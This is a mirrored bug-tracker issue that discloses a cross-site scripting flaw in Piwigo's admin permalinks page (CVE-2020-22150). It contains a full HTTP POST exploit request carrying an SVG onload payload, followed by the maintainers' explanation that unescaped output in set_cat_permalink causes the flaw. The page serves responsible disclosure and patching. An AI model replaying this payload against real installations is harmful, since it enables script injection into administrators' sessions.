adam/Piwigo
1
0 Fork 0
mirror of https://github.com/Piwigo/Piwigo.git synced 2026-10-30 21:52:00 +01:00
Code Issues 657 Packages Projects Releases Wiki Activity

XSS in /admin.php?page=permalinks #1006

New Issue
Open
opened 2026-10-05 00:28:10 +02:00 by adam · 3 comments
adam commented 2026-10-05 00:28:10 +02:00
Owner
Copy link
Copy source

Hi team!

I found a XSS in XSS in /admin.php?page=permalinks

Exploit Request:

POST /piwigo/piwigo/admin.php?page=permalinks HTTP/1.1
Host: 192.168.10.138
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/x-www-form-urlencoded
Content-Length: 138
Origin: http://192.168.10.138
Connection: close
Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=permalinks
Cookie: pwg_id=ragm92nc6a3rr532fi0h9h6f21
Upgrade-Insecure-Requests: 1

cat_id=3&permalink=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&save=on&set_permalink=Submit&pwg_token=2048f9dd482aaca003e193045fd4f763

PoC:

Hi team! I found a XSS in XSS in /admin.php?page=permalinks Exploit Request: ``` POST /piwigo/piwigo/admin.php?page=permalinks HTTP/1.1 Host: 192.168.10.138 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Content-Type: application/x-www-form-urlencoded Content-Length: 138 Origin: http://192.168.10.138 Connection: close Referer: http://192.168.10.138/piwigo/piwigo/admin.php?page=permalinks Cookie: pwg_id=ragm92nc6a3rr532fi0h9h6f21 Upgrade-Insecure-Requests: 1 cat_id=3&permalink=%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&save=on&set_permalink=Submit&pwg_token=2048f9dd482aaca003e193045fd4f763 ``` PoC: ![](https://i.imgur.com/MtpbJZA.png) ![](https://i.imgur.com/OTEVWml.png) <!-- github-sync-id:563727063 -->
adam commented 2026-10-05 00:28:12 +02:00
Author
Owner
Copy link
Copy source

@plegall please check this!

@plegall please check this! <!-- github-comment-id:585010187 -->
adam commented 2026-10-05 00:28:12 +02:00
Author
Owner
Copy link
Copy source

Hi,
the issue is located in the set_cat_permalink function. The special "xss permalink" is detected as a bad permalink and so the function return immediately with an error message.
This is exactly at this point that the XSS occurs, the $permalink variable is displayed with an error message without escaping, which leads to the XSS.

A simple html_entities fix the issue. PR coming soon.

Hi, the issue is located in the `set_cat_permalink` function. The special "xss permalink" is detected as a bad permalink and so the function return immediately with an error message. This is exactly at this point that the XSS occurs, the `$permalink` variable is displayed with an error message without escaping, which leads to the XSS. A simple html_entities fix the issue. PR coming soon. <!-- github-comment-id:822642751 -->
adam commented 2026-10-05 00:28:13 +02:00
Author
Owner
Copy link
Copy source

https://nvd.nist.gov/vuln/detail/CVE-2020-22150 has been assigned for this issue.

https://nvd.nist.gov/vuln/detail/CVE-2020-22150 has been assigned for this issue. <!-- github-comment-id:987835053 -->
Sign in to join this conversation.
No Branch/Tag Specified
Labels
No items
No labels
Milestone
No items
No Milestone
Projects
Clear projects
No projects
Assignees
Clear assignees
adam (Adam Wojcieszonek)
No Assignees
1 Participants
Notifications
Due Date
No due date set.
Dependencies

No dependencies set.

Reference: adam/Piwigo#1006